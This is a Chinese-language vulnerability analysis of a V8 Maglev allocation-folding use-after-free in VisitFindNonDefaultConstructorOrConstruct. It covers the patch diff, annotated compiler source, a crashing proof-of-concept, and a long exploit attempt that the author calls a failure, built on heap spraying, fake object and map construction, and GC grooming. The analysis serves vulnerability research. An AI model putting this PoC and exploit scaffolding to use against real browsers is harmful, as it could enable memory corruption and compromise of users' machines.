一
前言
Error Fold Allocations in VisitFindNonDefaultConstructorOrConstruct
这个漏洞发生在MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct
函数中,考虑之前分析的CVE-2023-4069
也是发生在该函数中,所以打算把该漏洞也分析了。该漏洞主要发生在折叠分配时,未考虑内存空间分配与初始化之间的操作可能导致触发gc
,从而导致UAF。
二
环境搭建
git checkout d8fd81812d5a4c5c3449673b6a803279c4bdb2f2
gclient sync -D
三
漏洞分析
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index ad7eccf..3dd3df5 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -5597,6 +5597,7 @@
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
+ ClearCurrentRawAllocation();
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
ClearCurrentRawAllocation
函数:void MaglevGraphBuilder::ClearCurrentRawAllocation() {
current_raw_allocation_ = nullptr;
}
current_raw_allocation_
指针清空。TryBuildFindNonDefaultConstructorOrConstruct
函数中,其上层调用链为:VisitFindNonDefaultConstructorOrConstruct
TryBuildFindNonDefaultConstructorOrConstruct
VisitFindNonDefaultConstructorOrConstruct
其实我们在之前分析CVE-2023-4069
时就详细分析过,其主要就是处理FindNonDefaultConstructorOrConstruct
节点的,但是这里还是放一下代码分析吧:void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0); // target
ValueNode* new_target = LoadRegisterTagged(1); // new_targetauto register_pair = iterator_.GetRegisterPairOperand(2);
// 先调用 TryBuildFindNonDefaultConstructorOrConstruct
if (TryBuildFindNonDefaultConstructorOrConstruct(this_function, new_target, register_pair)) {
return;
}
// 失败则调用 Builtin_FindNonDefaultConstructorOrConstruct
CallBuiltin* result =
BuildCallBuiltin<Builtin::kFindNonDefaultConstructorOrConstruct>({this_function, new_target});
StoreRegisterPair(register_pair, result);
}
TryBuildFindNonDefaultConstructorOrConstruct
尝试进行图创建:bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
ValueNode* this_function, ValueNode* new_target,
std::pair<interpreter::Register, interpreter::Register> result) {
// See also:
// JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct
// 【1】获取 target constant
compiler::OptionalHeapObjectRef maybe_constant = TryGetConstant(this_function);
if (!maybe_constant) return false;
// 获取 map 和原型链上的对象
compiler::MapRef function_map = maybe_constant->map(broker());
compiler::HeapObjectRef current = function_map.prototype(broker());// TODO(v8:13091): Don't produce incomplete stack traces when debug is active.
// We already deopt when a breakpoint is set. But it would be even nicer to
// avoid producting incomplete stack traces when when debug is active, even if
// there are no breakpoints - then a user inspecting stack traces via Dev
// Tools would always see the full stack trace.
// 遍历原型链
while (true) {
// 遍历 __proto__
// 如果原型对象不是 JSFunction,则遍历结束
if (!current.IsJSFunction()) return false;
// 当前原型对象 current_function
compiler::JSFunctionRef current_function = current.AsJSFunction();// If there are class fields, bail out. TODO(v8:13091): Handle them here.
if (current_function.shared(broker()).requires_instance_members_initializer()) {
return false;
}// If there are private methods, bail out. TODO(v8:13091): Handle them here.
if (current_function.context(broker()).scope_info(broker()).ClassScopeHasPrivateBrand()) {
return false;
}
// 获取函数类型 kind
FunctionKind kind = current_function.shared(broker()).kind();
// 如果是派生默认构造函数,则直接跳过
if (kind != FunctionKind::kDefaultDerivedConstructor) {
// The hierarchy walk will end here; this is the last change to bail out
// before creating new nodes.
if (!broker()->dependencies()->DependOnArrayIteratorProtector()) {
return false;
}
// 【2】获取 new_target constant
compiler::OptionalHeapObjectRef new_target_function = TryGetConstant(new_target);
// 如果是顶层默认构造函数,则进行相关处理
if (kind == FunctionKind::kDefaultBaseConstructor) {
// Store the result register first, so that a lazy deopt in
// `FastNewObject` writes `true` to this register.
StoreRegister(result.first, GetBooleanConstant(true));ValueNode* object;
// new_target_function 存在且是 JSFunction
// 并且 new_target_function 具有一个有效的 initial_map
// 即 initial_map.constructor ==? target
if (new_target_function && new_target_function->IsJSFunction() &&
HasValidInitialMap(new_target_function->AsJSFunction(), current_function)) {
//【3】为对象分配空间
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>({GetConstant(current_function), new_target});
// We've already stored "true" into result.first, so a deopt here just
// has to store result.second. Also mark result.first as being used,
// since the lazy deopt frame won't have marked it since it used to be
// a result register.
current_interpreter_frame_.get(result.first)->add_use();
object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
}
StoreRegister(result.second, object);
} else {
StoreRegister(result.first, GetBooleanConstant(false));
StoreRegister(result.second, GetConstant(current));
}broker()->dependencies()->DependOnStablePrototypeChain(
function_map, WhereToStart::kStartAtReceiver, current_function);
return true;
}// Keep walking up the class tree.
// 遍历下一个 __proto__
current = current_function.map(broker()).prototype(broker());
}
}
new_target.initial
直接进行对象创建,慢速路径则退回到内建函数FastNewObject
,这里我们主要看快速路径,快速路径为【1】->【2】->【3】
,而【3】
也是漏洞代码所在处,所以需要满足以下条件:TryGetConstant(this_function)
TryGetConstant(new_target)
new_target.initial.constructor === target
CheckValue
节点绕过,第三个就不多说了,new_target
是派生构造函数即可,或者顶层默认构造函数也????,比较简单。object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
BuildAllocateFastObject
,看其是如何创建对象的:ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(FastObject object, AllocationType allocation_type) {
SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone());
for (int i = 0; i < object.inobject_properties; ++i) {
// MaglevGraphBuilder::BuildAllocateFastObject(FastField value, AllocationType allocation_type)
properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type);
}
// elements
// MaglevGraphBuilder::BuildAllocateFastObject(FastFixedArray value, AllocationType allocation_type)
ValueNode* elements = BuildAllocateFastObject(object.elements, allocation_type);DCHECK(object.map.IsJSObjectMap());
// TODO(leszeks): Fold allocations. 尝试折叠分配,allocation 就是分配空间的指针
ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(object.instance_size, allocation_type);
// 设置对象的 map,主要就是添加一个 StoreMap 节点
BuildStoreReceiverMap(allocation, object.map);
// 设置 Properties 为 EmptyFixedArray,添加 StoreTaggedFieldNoWriteBarrier 节点
AddNewNode<StoreTaggedFieldNoWriteBarrier>(
{allocation, GetRootConstant(RootIndex::kEmptyFixedArray)}, JSObject::kPropertiesOrHashOffset);if (object.js_array_length.has_value()) {
// 如果 js_array_length 有值,则初始化 length
// 添加 StoreTaggedFieldNoWriteBarrier 节点 或 StoreTaggedFieldWithWriteBarrier 节点
BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length), JSArray::kLengthOffset);
}
// 设置 Elements
// 添加 StoreTaggedFieldNoWriteBarrier 节点 或 StoreTaggedFieldWithWriteBarrier 节点
BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
// 设置属性
for (int i = 0; i < object.inobject_properties; ++i) {
BuildStoreTaggedField(allocation, properties[i], object.map.GetInObjectPropertyOffset(i));
}
return allocation;
}
ExtendOrReallocateCurrentRawAllocation
函数,其会尝试折叠分配:ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
int size, AllocationType allocation_type) {
// 【1】
if (!current_raw_allocation_ || // current_raw_allocation_ 为空
current_raw_allocation_->allocation_type() != allocation_type || // 分配类型不一致
!v8_flags.inline_new) // 头一次分配
{
// 分配 size 空间,节点为 AllocateRaw
current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
return current_raw_allocation_;
}
// 如果上面三个条件都不满足,则会走到这里
// 即 current_raw_allocation_ 不为空,且分配类型一致,且不是头一次分配
int current_size = current_raw_allocation_->size();
// 【2】检查是否可以折叠分配
// 如果折叠分配后空间太大,则单独分配,并更新 current_raw_allocation_
if (current_size + size > kMaxRegularHeapObjectSize) {
return current_raw_allocation_ = AddNewNode<AllocateRaw>({}, allocation_type, size);
}
// 【3】折叠分配,current_size 应当大于 0
DCHECK_GT(current_size, 0);
int previous_end = current_size; // previous_end 即当前对象的起始位置
current_raw_allocation_->extend(size); // 扩展当前分配空间
// FoldedAllocation 节点,这里只记录 current_raw_allocation_ / previous_end 即可
// 该对象的位置为:current_raw_allocation_ + previous_end
return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}
ptr1 = malloc(0x10)
do something1
prt2 = malloc(0x20)
do something2
prt1 = current_raw_allocation_ = malloc(0x30)
prt2 = current_raw_allocation_ + 0x10
do something1
do something2
JavaScript
中,内存是由gc
进行管理的,在V8
中,没有被root object
直接或间接引用的对象被标记为死对象,在触发gc
时会被回收。所以考虑如下场景:var obj1 = AllocateRaw(0x10);
do something1 ==> trigger gc
var obj2 = AllocateRaw(0x20);
do something2 ==> use obj2
var obj1 = AllocateRaw(0x30) = current_raw_allocation_
var obj2 = current_raw_allocation_ + 0x10
do something1 ==> trigger gc
init obj2
do something2 ==> use obj2
obj1
的部分进行了初始化,而obj2
的初始化则是在后面,那么如果在初始化obj2
之前触发了gc
,那么此时current_raw_allocation_+0x10
这后面的内存就会被回收掉,如果我们此时分配对象占据这块内存,后面do something2
时,仍然使用current_raw_allocation_+0x10
,则导致UAF。
让我们回到该漏洞分析中,通过上面的分析我们可以知道:
this
对象时,保留了current_raw_allocation_
指针,所以如果后面存在内存分配,则可能发生分配折叠poc
如下:class A {}
class B extends A {
constructor() {
const check = new new.target;
super();
%DebugPrint(this);
let g = new Array(0x1000).fill(2.2); // 触发 gc
let o = [1.1,1.1,1.1,1.1,1.1,1.1]; // 会与 this 创建进行合并
}
}for (let i = 0; i < 0x1000; i++) {
Reflect.construct(B, [], A);
}
Maglev IR
:this
对象的地址为0x2bca002ba4d5
,instance_size = 12
,与Maglev IR
图是吻合的:crash
了:gc
,而这里rsi
的值为一个---
地址,所以发生内存访问错误。这里我们来看下this
对象下方的内存:0x2bca002ba4d5-1 = this_addr
==>o_addr = this_addr+12
this
对象占据的头 12 字节的空间,还剩下 72 字节的空间,这 72 字节其实就是包含了o
对象本身的空间和其elements
占据的空间。而这段空间在
o
对象初始化之前在gc
的过程中被释放了,然后又被其它对象占据了,所以在o
初始化这段空间时就发生了UAF
,即把其它对象内容给覆盖了,所以后面的rsi
为0x2bca3ff19999 = 0x2bca00000000 + 0x3ff19999
,这里的0x3ff19999
就是1.1
的头 4 字节。四
漏洞利用【
todo
】
gc
,并且也无法精确控制释放后的内存被哪个对象占据。后面看看别人的expliot
吧,主要是这里的gc
搞得我很烦。gc
后似乎拿不到指定的内存,主要是victim
始终在this
对象的上方,不知道为啥,看参考文章说其应该在下方。然后不想在继续浪费时间了,后面有灵感了再回来写利用,暂时留个坑。失败的
exploit
:var buf = new ArrayBuffer(8);
var dv = new DataView(buf);
var u8 = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;function pair_u32_to_f64(l, h) {
u32[0] = l;
u32[1] = h;
return f64[0];
}function u64_to_f64(val) {
u64[0] = val;
return f64[0];
}function f64_to_u64(val) {
f64[0] = val;
return u64[0];
}function set_u64(val) {
u64[0] = val;
}function set_l(l) {
u32[0] = l;
}function set_h(h) {
u32[1] = h;
}function get_l() {
return u32[0];
}function get_h() {
return u32[1];
}function get_u64() {
return u64[0];
}function get_f64() {
return f64[0];
}function get_fl(val) {
f64[0] = val;
return u32[0];
}function get_fh(val) {
f64[0] = val;
return u32[1];
}function add_ref(obj) {
roots[index++] = obj;
}var gc_flag= false;
function major_gc() {
if (gc_flag) {
new ArrayBuffer(0x7fe00000);
return 0;
}
return 1;
}function minor_gc() {
if (gc_flag) {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
return 2;
}
return 1;
}function hexx(str, val) {
console.log(str+": 0x"+val.toString(16));
}function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}var spray_array = new Array(0xf700).fill(1.1);
var element_start_addr = 0x00442139;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;
var element_map_addr = fake_object_addr + 0x200;
//0x3204040400183c39 0x0a0007ff11000842
spray_array[(map_addr - data_element_start_addr) / 8] = pair_u32_to_f64(data_element_start_addr+0x200+1, 0x32040404); // 这里也可以直接照抄
spray_array[(map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000842n);
spray_array[(fake_object_addr - data_element_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(3, 0x20);/*
0x61000000000004c5
0x004003ff0c0000b1
0x0000007d0000007d
0x000006dd00000701
0x0000000000000000
*/spray_array[(element_map_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x61000000000004c5n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x004003ff0c0000b1n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 2] = u64_to_f64(0x0000007d0000007dn);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x000006dd00000701n);
spray_array[(element_map_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000000n);/*
0x000100010000062d
0x000006f500000000
0x0000018400002b29
0x0000000000000002
*/
/*
var descriptors_addr = element_map_addr + 0x100;
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0x000100010000062dn);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x000006f500000000n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 2] = pair_u32_to_f64(descriptors_addr+0x28, 0x00000184);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 3] = u64_to_f64(0x0000000000000002n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 4] = u64_to_f64(0x0000000000000000n);
spray_array[(descriptors_addr - data_element_start_addr) / 8 + 5] = u64_to_f64(0x0000000000000070n);
*//*
0xd6d6d7e2000003d5
0x0000006f00000001
*/var str_addr = element_map_addr + 0x100;
spray_array[(str_addr - data_element_start_addr) / 8 + 0] = u64_to_f64(0xd6d6d7e2000003d5n);
spray_array[(str_addr - data_element_start_addr) / 8 + 1] = u64_to_f64(0x0000007000000001n);print("fake_object_addr:", pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1));
hexx("fake_object_addr", fake_object_addr+1);
hexx("element_map_addr", element_map_addr+1);
//hexx("descriptors_addr", descriptors_addr+1);//print("TEST:", pair_u32_to_f64(0x41414141, 0x41414141));
//var nnn = pair_u32_to_f64(0x41414141, 0x41414141);
var header = pair_u32_to_f64(element_map_addr+1, 0x40);
//var X = pair_u32_to_f64(descriptors_addr+0x28+1, descriptors_addr+0x28+1);
var X = pair_u32_to_f64(str_addr+1, 1);
var nnn = pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1);
var debug = false;
var empty_object = {};
class A {}
class B extends A {
constructor() {
const check = new new.target;
let v = [
empty_object,empty_object,empty_object,empty_object,
empty_object,empty_object,empty_object,empty_object,
];
super();
let o = [
header, header, header, header,
X,X,X,X,X,X,X,X,
nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
nnn, nnn, nnn, nnn, nnn, nnn, nnn, nnn,
header, header, header, header,
];this.o = o;
this.v = v;
}
[100] = major_gc();
}for (let i = 0; i < 200; i++) {
if (i % 2 == 0) gc_flag = true;
major_gc();
gc_flag = false;}
var w = null;
const N = 640;
const M = 644;
const S = 650;
var block = null;
for (let i = 0; i < S; i++) {
gc_flag = false;
if (i == N || (M < i && i < M+4)) {
gc_flag = true;
major_gc();
gc_flag = false;
}if (i == M+3) {
gc_flag = true;
// major_gc();
// major_gc();
// major_gc();// let tmp1 = { o:{}, v:{} };
// block = [1.1, 1.1, 1.1, 1.1, 1.1];
// let tmp2 = [
// empty_object,empty_object,empty_object,empty_object,
// empty_object,empty_object,empty_object,empty_object,
// ];
// minor_gc();
// %DebugPrint(tmp1);
// %DebugPrint(block);
// %DebugPrint(tmp2);}
let r = Reflect.construct(B, [], A);
if (i == M+3) w = r;
}
/*
print("================ w ======================");
%DebugPrint(w);
print("================ w.o ====================");
%DebugPrint(w.o);
print("================ w.v ====================");
%DebugPrint(w.v);
print("=========================================");
*/
try {
print(w.v[0]);
} catch (m) {
%DebugPrint(w['p']);
%DebugPrint(w);
}print("END");
五
总结
看雪ID:XiaozaYa
https://bbs.kanxue.com/user-home-965217.htm
# 往期推荐
2、BFS Ekoparty 2022 Linux Kernel Exploitation Challenge
3、银狐样本分析
球分享
球点赞
球在看
点击阅读原文查看更多